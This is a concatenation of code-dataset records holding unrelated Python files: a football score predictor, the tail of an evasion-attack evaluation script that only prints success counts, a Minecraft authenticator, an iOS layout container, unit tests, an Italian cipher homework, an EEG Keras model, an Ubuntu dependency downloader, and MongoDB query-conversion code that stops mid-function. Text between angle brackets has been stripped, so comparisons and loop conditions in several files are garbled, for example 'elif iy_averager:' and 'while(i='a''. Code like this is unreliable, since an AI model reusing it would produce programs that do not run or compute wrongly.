data2[-1,:]\r\n R2_prediction = model2.predict(X2_predictor.reshape(1,-1))\r\n if R2_prediction<0:\r\n R2_prediction = 0\r\n return R1_prediction,R2_prediction\r\n\r\n\r\n\r\n#average of last 3 games' data to predict next game\r\ndef gbm_score_outputs3(subset_headers,data1,data2,b1,b2):\r\n y1 = np.zeros(len(b1)-3)\r\n for i in range(len(b1)-3):\r\n y1[i] = b1[i+3]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n\r\n X1 = np.zeros(len(y1)*(len(subset_headers)-2)).reshape(len(y1),len(subset_headers)-2)\r\n for i in range(len(y1)):\r\n for j in range(len(subset_headers)-2):\r\n X1[i,j] = np.average(data1[i:i+3,j])\r\n \r\n model1 = GradientBoostingRegressor(n_estimators=300,learning_rate=.01,max_depth=2)\r\n model1.fit(X1,y1)\r\n\r\n\r\n X1_predictor = np.zeros(len(subset_headers)-2)\r\n for i in range(len(subset_headers)-2):\r\n X1_predictor[i] = np.average(data1[-3:,i])\r\n \r\n R1_prediction = model1.predict(X1_predictor.reshape(1,-1))\r\n if R1_prediction<0:\r\n R1_prediction = 0\r\n \r\n \r\n y2 = np.zeros(len(b2)-3)\r\n for i in range(len(b2)-3):\r\n y2[i] = b2[i+3]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X2 = np.zeros(len(y2)*(len(subset_headers)-2)).reshape(len(y2),len(subset_headers)-2)\r\n for i in range(len(y2)):\r\n for j in range(len(subset_headers)-2):\r\n X2[i,j] = np.average(data2[i:i+3,j])\r\n\r\n model2 = GradientBoostingRegressor(n_estimators=300,learning_rate=.01,max_depth=2)\r\n model2.fit(X2,y2)\r\n\r\n \r\n X2_predictor = np.zeros(len(subset_headers)-2)\r\n for i in range(len(subset_headers)-2):\r\n X2_predictor[i] = np.average(data2[-3:,i])\r\n\r\n R2_prediction = model2.predict(X2_predictor.reshape(1,-1))\r\n if R2_prediction<0:\r\n R2_prediction = 0\r\n \r\n \r\n return R1_prediction,R2_prediction\r\n\r\n\r\n\r\n\r\n\r\ndef probabilities(average_team1,average_team2):\r\n prob1 = 0\r\n prob2 = 0\r\n prob_draw = 0\r\n for i in range(20):\r\n for j in range(20):\r\n if i==j:\r\n prob_draw += poisson(i, average_team1) * poisson(j, average_team2)\r\n elif i>j:\r\n prob1 += poisson(i, average_team1) * poisson(j, average_team2)\r\n elif iy_averager:\r\n x_win +=1\r\nelif x_averagery_GBM3:\r\n x_win +=1\r\nelif x_GBM3y_GBM1:\r\n x_win +=1\r\nelif x_GBM1y_GAM3:\r\n x_win +=1\r\nelif x_GAM3y_GAM1:\r\n x_win +=1\r\nelif x_GAM1= (attack.confidences_[0] - 0.02):\n unoptimizable = unoptimizable + 1\n if len(attack.confidences_) == 2:\n immediate = immediate + 1\n if final < conf:\n success = success + 1\n count = count + 1\n\nprint(\"Not optimized: \" + str(unoptimizable) + \"/\" + str(count))\nprint(\"Successful: \" + str(success) + \"/\" + str(count))\nprint(\"Average iterations to evade: \" + str(total_iters / count))\nprint(\"Immediate evasions: \" + str(immediate) + \"/\" + str(count))\n","sub_path":"shift.py","file_name":"shift.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331640963","text":"import random\nimport sys\n\nfrom twisted.internet import reactor\nfrom twisted.internet.task import deferLater\nfrom twisted.plugin import IPlugin\nfrom twisted.web.client import getPage\nfrom zope.interface import implements\n\nfrom bravo.ibravo import IAuthenticator\nfrom bravo.packets import make_packet\n\nclass Authenticator(object):\n \"\"\"\n Authenticates single clients with a two-phase system.\n \"\"\"\n\n implements(IPlugin, IAuthenticator)\n\n def handshake(self, protocol, container):\n \"\"\"\n Respond to a handshake attempt.\n\n Handshakes consist of a single field, the username.\n \"\"\"\n\n def login(self, protocol, container):\n \"\"\"\n Acknowledge a successful handshake.\n\n Subclasses should call this method after their challenge succeeds.\n \"\"\"\n\n if container.protocol < 8:\n # Kick old clients.\n protocol.error(\"This server doesn't support your ancient client.\")\n elif container.protocol > 8:\n # Kick new clients.\n protocol.error(\"This server doesn't support your newfangled client.\")\n else:\n reactor.callLater(0, protocol.authenticated)\n\nclass OfflineAuthenticator(Authenticator):\n\n def handshake(self, protocol, container):\n \"\"\"\n Handle a handshake with an offline challenge.\n\n This will authenticate just about anybody.\n \"\"\"\n\n packet = make_packet(\"handshake\", username=\"-\")\n\n # Order is important here; the challenged callback *must* fire before\n # we send anything back to the client, because otherwise we won't have\n # a valid entity ready to use.\n d = deferLater(reactor, 0, protocol.challenged)\n d.addCallback(lambda none: protocol.transport.write(packet))\n\n def login(self, protocol, container):\n protocol.username = container.username\n\n packet = make_packet(\"login\", protocol=protocol.eid, username=\"\",\n unused=\"\", seed=0, dimension=0)\n protocol.transport.write(packet)\n\n super(OfflineAuthenticator, self).login(protocol, container)\n\n name = \"offline\"\n\nserver = \"http://www.minecraft.net/game/checkserver.jsp?user=%s&serverId=%s\"\n\nclass OnlineAuthenticator(Authenticator):\n\n def __init__(self):\n\n self.challenges = {}\n\n def handshake(self, protocol, container):\n \"\"\"\n Handle a handshake with an online challenge.\n \"\"\"\n\n challenge = \"%x\" % random.randint(0, sys.maxint)\n self.challenges[protocol] = challenge\n\n packet = make_packet(\"handshake\", username=challenge)\n\n d = deferLater(reactor, 0, protocol.challenged)\n d.addCallback(lambda none: protocol.transport.write(packet))\n\n def login(self, protocol, container):\n if protocol not in self.challenges:\n protocol.error(\"Didn't see your handshake.\")\n return\n\n protocol.username = container.username\n challenge = self.challenges.pop(protocol)\n url = server % (container.username, challenge)\n\n d = getPage(url.encode(\"utf8\"))\n d.addCallback(self.success, protocol, container)\n d.addErrback(self.error, protocol)\n\n def success(self, response, protocol, container):\n\n if response != \"YES\":\n protocol.error(\"Authentication server didn't like you.\")\n return\n\n packet = make_packet(\"login\", protocol=protocol.eid, username=\"\",\n unused=\"\", seed=0, dimension=0)\n protocol.transport.write(packet)\n\n super(OnlineAuthenticator, self).login(protocol, container)\n\n def error(self, description, protocol):\n\n protocol.error(\"Couldn't authenticate: %s\" % description)\n\n name = \"online\"\n\noffline = OfflineAuthenticator()\nonline = OnlineAuthenticator()\n","sub_path":"bravo/plugins/authenticators.py","file_name":"authenticators.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"392429102","text":"from __future__ import print_function, absolute_import, division, unicode_literals\n\nfrom toga.constraint import Attribute, Constraint\n\nfrom ..libs import *\nfrom .base import Widget\n\nclass Container(Widget):\n\n _IDENTIFIER = {\n None: NSLayoutAttributeNotAnAttribute,\n Attribute.LEFT: NSLayoutAttributeLeft,\n Attribute.RIGHT: NSLayoutAttributeRight,\n Attribute.TOP: NSLayoutAttributeTop,\n Attribute.BOTTOM: NSLayoutAttributeBottom,\n Attribute.LEADING: NSLayoutAttributeLeading,\n Attribute.TRAILING: NSLayoutAttributeTrailing,\n Attribute.WIDTH: NSLayoutAttributeWidth,\n Attribute.HEIGHT: NSLayoutAttributeHeight,\n Attribute.CENTER_X: NSLayoutAttributeCenterX,\n Attribute.CENTER_Y: NSLayoutAttributeCenterY,\n # Attribute.BASELINE: NSLayoutAttributeBaseline,\n }\n\n _RELATION = {\n Constraint.LTE: NSLayoutRelationLessThanOrEqual,\n Constraint.EQUAL: NSLayoutRelationEqual,\n Constraint.GTE: NSLayoutRelationGreaterThanOrEqual,\n }\n\n def __init__(self):\n super(Container, self).__init__()\n self.children = []\n self.constraints = {}\n\n self.startup()\n\n def startup(self):\n self._controller = UIViewController.alloc().init()\n self._impl = UIView.alloc().initWithFrame_(UIScreen.mainScreen().bounds)\n\n self._controller.view = self._impl\n\n def add(self, widget):\n self.children.append(widget)\n\n # Assign the widget to the same app as the window.\n widget.app = self.app\n widget.window = self.window\n\n self._impl.addSubview_(widget._impl)\n\n def _set_app(self, app):\n for child in self.children:\n child.app = app\n\n def _set_window(self, window):\n for child in self.children:\n child.window = window\n\n def constrain(self, constraint):\n \"Add the given constraint to the widget.\"\n if constraint in self.constraints:\n return\n\n widget = constraint.attr.widget._impl\n identifier = constraint.attr.identifier\n\n if constraint.related_attr:\n related_widget = constraint.related_attr.widget._impl\n related_identifier = constraint.related_attr.identifier\n\n multiplier = constraint.related_attr.multiplier / constraint.attr.multiplier\n constant = (constraint.related_attr.constant - constraint.attr.constant) / constraint.attr.multiplier\n\n else:\n related_widget = None\n related_identifier = None\n\n multiplier = constraint.attr.multiplier\n constant = constraint.attr.constant\n\n constraint._impl = NSLayoutConstraint.constraintWithItem_attribute_relatedBy_toItem_attribute_multiplier_constant_(\n widget, self._IDENTIFIER[identifier],\n self._RELATION[constraint.relation],\n related_widget, self._IDENTIFIER[related_identifier],\n multiplier, constant,\n )\n\n self._impl.addConstraint_(constraint._impl)\n self.constraints[constraint] = constraint._impl\n","sub_path":"toga_iOS/widgets/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276099356","text":"from unittest import mock\n\nimport pytest\n\nfrom kolas.events import EventDispatcher\n\n\nclass _Event: pass\n\n\nclass _Event2: pass\n\n\nclass TestEventDispatcher:\n def test_subscribes(self):\n events = EventDispatcher()\n\n listener = mock.MagicMock()\n events.subscribe(_Event, listener)\n assert listener in events.get_subscribers(_Event)\n\n def test_unsubscribes(self):\n events = EventDispatcher()\n\n listener = mock.MagicMock()\n events.subscribe(_Event, listener)\n assert listener in events.get_subscribers(_Event)\n\n events.unsubscribe(_Event, listener)\n assert listener not in events.get_subscribers(_Event)\n\n def test_unsubscribes_all(self):\n events = EventDispatcher()\n\n listener = mock.MagicMock()\n listener2 = mock.MagicMock()\n listener3 = mock.MagicMock()\n events.subscribe(_Event, listener)\n events.subscribe(_Event, listener2)\n events.subscribe(_Event2, listener3)\n assert len(events.get_subscribers(_Event)) == 2\n\n events.unsubscribe_all(_Event)\n assert len(events.get_subscribers(_Event)) == 0\n assert len(events.get_subscribers(_Event2)) == 1\n\n @pytest.mark.asyncio\n async def test_triggers(self):\n events = EventDispatcher()\n\n listener = mock.MagicMock()\n events.subscribe(_Event, listener)\n event_obj = _Event()\n await events.trigger(event_obj)\n listener.assert_called_once_with(event_obj)\n\n @pytest.mark.asyncio\n async def test_not_triggers_listeners_of_another_events(self):\n events = EventDispatcher()\n\n listener = mock.MagicMock()\n events.subscribe(_Event, listener)\n await events.trigger(_Event2())\n listener.assert_not_called()\n","sub_path":"kolas/tests/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"301966217","text":"\n'''Dato un testo da codificare ed una chiave si propone il seguente schema crittografico:\n\n- dalla chiave vengono eliminati tutti i caratteri C per cui C<'a' o C>'z'. \n- di ciascuno dei caratteri restanti vengono cancellate dalla chiave tutte le occorrenze \n tranne l'ultima, ottenendo una sequenza DISORDINATA. \n- i caratteri presenti nella stringa cosi' ripulita saranno i soli caratteri del testo \n ad essere codificati ovvero sostituiti nel testo crittografato (gli altri resteranno invariati). \n- la sequenza ORDINATA dei caratteri rimasti nella chiave viene messa in corrispondenza \n con la sequenza DISORDINATA dei caratteri ottenuti al passo precedente.\n\nCome esempio di applicazione consideriamo la chiave\n \"sim sala Bim!\"\na seguito delle eliminazioni la chiave produce la sequenza DISORDINATA\n \"slaim\"\n \nI soli caratteri del testo a subire una codifica sarano 's','l', 'a' 'i' ed 'm'. \nPer sapere con cosa verranno codificati questi caratteri si considera la seguente corrispondenza\ntra sequenze:\n \"ailms\" (sequenza ordinata degli stessi caratteri)\n \"slaim\" (sequenza disordinata ottenuta dalla chiave)\nquesto determina gli accoppiamenti (a,s), (i,l) (l,a), (m,i) ed (s,m)\nla 'a' dunque sara' codificata con 's', la 'i' con 'l' e cosi' via.\n\nUtilizzando la chiave \"sim sala Bim!\" per codificare il testo \"il mare sa di sale\" si \n otterra' il seguente testo crittografato:\n \"il mare sa di sale\" (testo in chiaro)\n \"la isre ms dl msae\" (testo crittografato)\n\nLa decodifica del testo crittografato opera sulla stessa chive ma sostituisce le lettere\npresenti nella sequenza disordinata con quelle della sequenza ordinata.\nQuindi nell'esempio precedente le sostituzioni sono invertite:\n (s, a), (l, i) (a, l), (i, m) ed (m, s)\n\nPer altri esempi vedere il file grade03.txt\n\nImplementate le due funzioni\n codifica(chiave, testo_in_chiaro) -> testo_crittografato\n decodifica(chiave, testo_crittografato) -> testo_in_chiaro\n\nATTENZIONE: NON USATE LETTERE ACCENTATE.\nATTENZIONE: Se il grader non termina entro 30 secondi il punteggio dell'esercizio e' zero.\n'''\n\ndef codifica(chiave, testo):\n \n def Elimina():\n for i in lista:\n if lista.count(i) > 1: #elimina doppioni dalla lista\n lista.remove(i)\n Elimina()\n return lista\n \n i=0\n new_key=''\n while(i='a' and chiave[i]<='z'):\n new_key+=chiave[i]\n i+=1\n lista=list(new_key)\n Elimina()\n b=sorted(lista) #ordina la lista in ordine alfabetico\n #print(lista)\n #print(b)\n chiaro=list(testo)\n for i in range(0, len(chiaro)):\n for k in range(0, len(b)):\n if chiaro[i]==b[k]:\n chiaro[i]=lista[k]\n break\n cript=''.join(chiaro)\n return cript\n\n\ndef decodifica(chiave, testo):\n \n def Elimina():\n for i in lista:\n if lista.count(i) > 1: #elimina doppioni dalla lista\n lista.remove(i)\n Elimina()\n return lista\n \n i=0\n new_key=''\n while(i='a' and chiave[i]<='z'):\n new_key+=chiave[i]\n i+=1\n lista=list(new_key)\n Elimina()\n b=sorted(lista) \n print(b)\n scuro=list(testo)#ordina la lista in ordine alfabetico\n print(scuro)\n for i in range(0, len(scuro)):\n for k in range(0, len(b)):\n if scuro[i]==lista[k]:\n scuro[i]=b[k]\n break\n decript=''.join(scuro)\n return decript","sub_path":"students/1809720/homework01/program03.py","file_name":"program03.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"209512834","text":"import os\nimport csv\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom picture import Picture\n\n\ndef get_pictures_dir():\n print('Выберите папку с изополями армирования')\n root = tk.Tk()\n root.withdraw()\n path = filedialog.askdirectory()\n print(f'Вы выбрали папку {path}')\n return path\n\n\ndef create_dir(path):\n if not os.path.exists(path):\n os.mkdir(path)\n\n\ndef _get_files_by_extensions(path, extension):\n files = []\n for file in os.listdir(path):\n if file.endswith(extension):\n files.append(file)\n return files\n\n\ndef get_pictures(path):\n return _get_files_by_extensions(path, ('.jpg', '.png', '.bmp'))\n\n\ndef get_legends(path):\n legends = []\n files = _get_files_by_extensions(path, '.csv')\n if files:\n with open(os.path.join(path, files[0]), 'r') as data_file:\n legends = [line for line in csv.reader(data_file)]\n return legends\n\n\ndef create_pictures(path, pictures, legends):\n list_obj_pictures = []\n for picture_name in pictures:\n list_obj_pictures.append(Picture(os.path.join(path, picture_name), legends))\n return list_obj_pictures\n","sub_path":"src/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"79447730","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom time import time\n\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\n\nimport keras\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.models import Sequential\nfrom keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras.utils import plot_model\n\n\n# loading raw data\ncols = ['Time','TRG','Eye_Time','Eye_X','Eye_Y','Trial','Num_Sequences','Sequence','Flash_Event']\n\ndataset = pd.read_csv('raw_data.csv')\ndataset = dataset.drop(cols, axis=1)\ndataset = dataset[:].values\nsigs = dataset[:,0:7]\nlabel=dataset[:,7]\n\nj = 6\nfor i in range(len(sigs)):\n if sigs[i,j] != '0' and sigs[i,j] != '-1':\n val = sigs[i,j]\n sigs[i,j]=int(val[1])\n\n if sigs[i,j] == '-1':\n sigs[i,j] = 0\n\nfor i in range(len(label)):\n if label[i] == -1:\n label[i] = 0\n\n# encoding data and label\nohe = OneHotEncoder(categorical_features=[6])\nsigs = ohe.fit_transform(sigs).toarray()\n\"\"\" label=label.reshape(-1,1)\noheLabel = OneHotEncoder()\nlabel = oheLabel.fit_transform(label) \"\"\"\n\n# feature scaling\nsc = StandardScaler()\nsigs = sc.fit_transform(sigs)\n\nlabel = keras.utils.to_categorical(label, 5)\n\nfile_path = './train_model.ckpt'\ncallback_list = []\n\ntb = TensorBoard(log_dir='logs/{}'.format(time()))\ncallback_list.append(tb)\n\n# creating a model\nmodel = Sequential()\nmodel.add(Dense(64, input_dim=sigs.shape[1]))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(32))\nmodel.add(Activation('relu'))\nmodel.add(Dense(5))\nmodel.add(Activation('softmax'))\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\nck = ModelCheckpoint(file_path, monitor='val_acc', verbose=1, save_best_only=True)\ncallback_list.append(ck)\n\n# training the model\nhistory = model.fit(sigs, label, batch_size=10, epochs=10, validation_split=0.2, verbose=1,callbacks=callback_list)\n\nplot_model(model, to_file='model.png')\n\n# Plot training & validation accuracy values\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('Model accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.show()\n\n# Plot training & validation loss values\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Model loss')\nplt.ylabel('Loss')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.show()","sub_path":"analytics/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"530544918","text":"import argparse\nimport hashlib\nimport os\nfrom collections import defaultdict\n\nimport sys\nfrom bs4 import BeautifulSoup as bs\nimport re\nimport requests\n\n\nMD5 = r\"^[a-fA-F\\d]{32}$\"\n\n\n#\n# Finds dependencies of a ubuntu package and downloads all\n# needed packages. This might download more than needed\n# since some packages can already be installed.\n#\n# However you can use 'dpkg -i -E *' to install them all\n# while skipping already installed packages.\n#\nclass UbuntuDeps(object):\n\n def __init__(self, arch, release, mirror, fallback):\n self.arch = arch\n self.url = 'http://packages.ubuntu.com/' + release + \"/\"\n self.mirror = mirror\n self.fallback = fallback\n\n @staticmethod\n def download_file(_url, _dir):\n local_filename = os.path.join(_dir, _url.split('/')[-1])\n if not os.path.exists(local_filename):\n if not os.path.exists(_dir):\n os.mkdir(_dir)\n r = requests.get(_url, stream=True)\n with open(local_filename, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n return local_filename\n\n @staticmethod\n def md5(fname):\n _hash = hashlib.md5()\n with open(fname, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n _hash.update(chunk)\n return _hash.hexdigest()\n\n @staticmethod\n def verify_md5(expected, _dep):\n if expected != deps[_dep]['md5']:\n raise ValueError(\"MD5 check for \" + _dep + \" failed\")\n\n def find_dep(self, _dep, lvl=0, _deps=None):\n if _deps is None:\n _deps = defaultdict(lambda: defaultdict(dict))\n if _dep in _deps:\n return\n print(\"*\" * lvl + _dep)\n r = requests.get(self.url + _dep)\n soup = bs(r.text, 'html.parser')\n for p in soup.select('p'):\n if any(s in p.text for s in [\"No such package\", \"Package not available in this suite\"]):\n print(\"\\nERROR: Could not find package with name \" + _dep + \" Aborting!\")\n sys.exit(1)\n if \"This is a virtual package\" in p.text:\n prov = soup.select('div#pdeps dl dt a')\n if prov:\n print(\"*\" * lvl + _dep + \" -> \" + prov[0].text)\n _deps[_dep]['url'] = 'REDIR' # Mark as redirected\n return self.find_dep(prov[0].text, lvl)\n else:\n print(\"\\nERROR: Virtual package but could not parse providers. Aborting!\")\n\n # Find the dependencies\n for dl in soup.select('ul.uldep dl'):\n dt = dl.select('dt')[0]\n a = dt.select('a')[0]\n pkg = a.string\n # noinspection PyStatementEffect\n _deps[_dep]\n self.find_dep(pkg, lvl + 1, _deps)\n\n # Load download page\n r = requests.get(self.url + self.arch + \"/\" + _dep + \"/download\")\n soup = bs(r.text, 'html.parser')\n for td in soup.select('table#pdownloadmeta td'):\n if re.match(MD5, td.string):\n _deps[_dep]['md5'] = td.string\n # Find download link\n found = False\n for a in soup.findAll('a'):\n if self.mirror in a['href']:\n _deps[_dep]['url'] = a['href']\n found = True\n break\n if not found:\n for a in soup.findAll('a'):\n if self.fallback in a['href']:\n _deps[_dep]['url'] = a['href']\n break\n return _deps\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Download ubuntu dependencies',\n formatter_class=lambda prog: argparse.ArgumentDefaultsHelpFormatter\n (prog=sys.argv[0], max_help_position=80, width=120))\n parser.add_argument('dep', help=\"The main/top package\", nargs='+')\n parser.add_argument('-a', '--arch', help=\"The architecture to use\", default=\"amd64\")\n parser.add_argument('-r', '--release', help=\"Ubuntu release\", default=\"trusty\")\n parser.add_argument('-m', '--mirror', help=\"Mirror to use for download\", default=\"http://no.archive.ubuntu.com/\")\n parser.add_argument('-f', '--fallback', help=\"Mirror to use when main mirror is not found\",\n default=\"http://security.ubuntu.com/\")\n parser.add_argument('-d', '--directory', help=\"Target directory\", default='pkg')\n args = parser.parse_args()\n\n ud = UbuntuDeps(arch=args.arch, release=args.release, mirror=args.mirror, fallback=args.fallback)\n\n deps = None\n for dep in args.dep:\n print(\"\\nDependency tree for \" + dep + \":\\n\")\n deps = ud.find_dep(dep, _deps=deps)\n\n print(\"\\nNeed to download:\")\n for dep in deps.keys():\n print(dep + \" : \" + str(deps[dep]['url']))\n\n print()\n for dep in deps.keys():\n if deps[dep]['url'] == 'REDIR':\n continue\n print(\"Downloading: \" + dep)\n ud.verify_md5(ud.md5(ud.download_file(deps[dep]['url'], args.directory)), dep)\n\n","sub_path":"all-gists/2bad212a3b0571357e1b/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"368823499","text":"#!/usr/bin/evn python\n# -*- encoding: utf-8 -*-\n# by: laidongping2006@sina.com\n#\n\nfrom find_links import RelationLink\nfrom framework.data import db, origin_db as metadb\nfrom bson import ObjectId, DBRef\nimport json\nimport copy\nfrom framework.mvc.web.requestcontext import get_context \n\n\nEXC_FUNCTIONS = [\n {\n \"exception\":\"@current_user\", \n \"function\":\"current_user_exception\",\n \"match_type\":\"full\"\n },\n {\n \"exception\":\"@current_user_ObjectId\", \n \"function\":\"current_user_exception\",\n \"match_type\":\"full\"\n },\n {\n \"exception\":\"@dateNow\", \n \"function\":\"date_now_exception\",\n \"match_type\":\"like\"\n }\n ]\n\n\n\nclass RelsConversion(object):\n \"\"\"\n 根据relations 获取rels, rel_types。\n --------------\n relations = {\n \"heads\":[], // 类似 pages.$pid.heads\n \"obj_rel\":{ // 类似 pages.$pid.logic_rel\n a_id:[{\"id\":\"b_id\",\"relation\":\"one | many\"},...],\n b_id:[\"c_id\"]\n }\n --------------\n self.get_rels() -> rels\n self.get_rel_types() -> rel_types\n \"\"\"\n \n def __init__(self, relations):\n self.relations = relations\n\n def get_rels(self):\n \"\"\"\n rels格式:{\n a_id:[b_id, ...],\n b_id:[],\n ...\n }\n \"\"\"\n obj_rel = self.relations[\"obj_rel\"]\n rels = dict()\n for key, val in obj_rel.iteritems():\n val_list = list()\n for v in val:\n val_list.append(v.get(\"id\"))\n rels[key] = val_list\n return rels\n\n def get_mongoid_rels(self, system_data):\n obj_rel = self.relations[\"obj_rel\"]\n mongoid_rels = dict()\n for key, val in obj_rel.iteritems():\n val_list = list()\n for v in val:\n mongoid = system_data[\"objs\"][v.get(\"id\")][\"identity\"]\n val_list.append(mongoid)\n key_mongoid = system_data[\"objs\"][key][\"identity\"]\n mongoid_rels[key_mongoid] = val_list\n return mongoid_rels\n\n def get_mongoinfo(self, system_data):\n obj_rel = self.relations[\"obj_rel\"]\n mongoinfo = dict()\n for key, val in obj_rel.iteritems():\n key_mongoid = system_data[\"objs\"][key][\"identity\"]\n key_obj_name = system_data[\"objs\"][key][\"name\"]\n mongoinfo[key_mongoid] = str(key_obj_name)\n for v in val:\n mongoid = system_data[\"objs\"][v.get(\"id\")][\"identity\"]\n obj_name = system_data[\"objs\"][v.get(\"id\")][\"name\"]\n if not mongoinfo.has_key(mongoid):\n mongoinfo[mongoid] = obj_name\n return mongoinfo\n\n def get_rel_types(self):\n \"\"\"\n rel_types格式:{\n \"a_id\" + \"|\" + \"b_id\": \"one | many\",\n ...\n }\n \"\"\"\n obj_rel = self.relations[\"obj_rel\"]\n val_list = list()\n ids= list()\n for key, val in obj_rel.items():\n for v in val:\n val_list.append(v.get(\"relation\"))\n ids.append(key + \"|\" + v.get(\"id\"))\n rel_types = dict(zip(ids, val_list))\n return rel_types\n\n \nclass Conversion(object):\n def __init__(self, relations, object_id, mongoinfo, exception_fun=EXC_FUNCTIONS):\n \"\"\"exception_fun 数据结构\n  [{\n \"exception\":\"@current_user\",//特殊条件名称\n \"function\":self.current_user_exception,//处理函数\n \"match_type\":\"full\"//匹配方式 full全文匹配exception like模糊匹配exception\n }]\n \"\"\"\n self.relations = relations\n self.object_id = object_id\n self.mongoinfo = mongoinfo\n self.num = True\n self.exception_fun = list()\n if isinstance(exception_fun, dict):\n self.exception_fun.append(exception_fun)\n elif isinstance(exception_fun, list):\n for i in exception_fun:\n self.exception_fun.append(i)\n else:\n ValueError(\"值为list或dict类型\")\n\n def join(self, conditions): # for mysql\n pass \n\n def where_source_convert(self, conditions):\n \"\"\"\n 接受where控件经过转化后的条件。以组为单位,根据relations(数据源(表)之间的关系), 将条件转换成同源(object数据源object_id)条件。\n 参数:conditions = [{object_id:{}}, {objN_id: {}}, ...]\n\n \"\"\"\n \n #import pdb; pdb.set_trace()\n source_converted_conditions = list()\n for condition in conditions:\n if condition.keys()[0] != self.object_id:\n source_converted_condition = self.condition_source_convert(condition, \"where\")\n source_converted_conditions.append(source_converted_condition)\n \n else:\n source_converted_conditions.append(condition)\n #import pdb; pdb.set_trace()\n return source_converted_conditions\n\n\n def where_merge(self, conditions):\n \"\"\"\n 同表同属性逻辑关系,同表不同属性之间的逻辑关系,不同表之间的逻辑关系\n \"\"\"\n #内部函数handle_group处理数据源源转化后的where组后缀表达式(逆波兰式)\n \n def handle_group(where_group):\n #import pdb;pdb.set_trace()\n i = 0\n while i < len(where_group):\n if len(where_group) == 1:\n return where_group[0]\n if where_group[i] == \"or\":\n if where_group[i-2].keys()[0] == where_group[i-1].keys()[0]:\n merged_condition = {where_group[i-2].keys()[0]: {\"$or\": [where_group[i-2].values()[0], where_group[i-1].values()[0]]}}\n del where_group[0]\n del where_group[0]\n del where_group[0]\n where_group.insert(0, merged_condition)\n else:\n raise Exception(\"仍存在不同数据源\") \n elif where_group[i] == \"and\":\n if where_group[i-2].keys()[0] == where_group[i-1].keys()[0]: \n merged_condition = {where_group[i-2].keys()[0]: {\"$and\": [where_group[i-2].values()[0], where_group[i-1].values()[0]]}}\n del where_group[0]\n del where_group[0]\n del where_group[0]\n where_group.insert(0, merged_condition)\n\n else:\n raise Exception(\"仍存在不同数据源\")\n i += 1\n if i > 2:\n i = 0\n\n # where_merge函数起始\n #import pdb; pdb.set_trace()\n where_groups = list()\n for conds in conditions:\n where_list = list()\n for cond in conds:\n converted_cond = self.where_convert(cond)\n where_list.append(converted_cond)\n #import pdb; pdb.set_trace()\n where_group = self.where_source_convert(where_list) # 以组为单位转化where条件\n \n where_groups.append(where_group)\n\n\n # 利用栈结构,将对象类似(a or b) and c形式的逻辑关系,转为逆波兰式:a b or c and\n # 逆波兰式stack=[[group1逆波兰式],$grouplogic, [group2逆波兰式] ...]\n\n #import pdb; pdb.set_trace()\n stack = list()\n for wh_list in where_groups:\n i = 0\n sub_stack = list()\n while i <= len(wh_list):\n if i == len(wh_list):\n group_logic = \"$\" + wh_list[i-1].values()[0][\"opt\"]\n break\n sub_stack.append(wh_list[i])\n if i > 0:\n sub_stack.append(wh_list[i-1].values()[0][\"opt\"])\n i += 1\n stack.append(sub_stack)\n stack.append(group_logic)\n\n stack.pop() #去除最后一个元素\"$\"\n #合并组内条件\n #import pdb; pdb.set_trace()\n where_conditions = list()\n for element in stack:\n #删除stack中逆波兰式条件的多余字段,便于handle_group处理条件组\n if isinstance(element, list):\n for elem in element:\n if isinstance(elem, dict):\n del elem.values()[0][\"opt\"]\n del elem.values()[0][\"object_name\"]\n where_group_condition = handle_group(element)\n where_conditions.append(where_group_condition)\n elif isinstance(element, basestring):\n where_conditions.append(element)\n \n #合并组条件\n\n i = 0\n #import pdb; pdb.set_trace()\n while i <= len(where_conditions):\n if len(where_conditions) == 1:\n break\n if where_conditions[i] == \"$or\" or where_conditions[i] == \"$and\":\n \n merged_where_condition = {where_conditions[i-1].keys()[0]: {where_conditions[i]: [where_conditions[i-1].values()[0], where_conditions[i+1].values()[0]]}}\n del where_conditions[0]\n del where_conditions[0]\n del where_conditions[0]\n where_conditions.insert(0, merged_where_condition)\n i += 1\n if i > 2:\n i = 0\n #import pdb; pdb.set_trace()\n return where_conditions[0]\n \n\n def 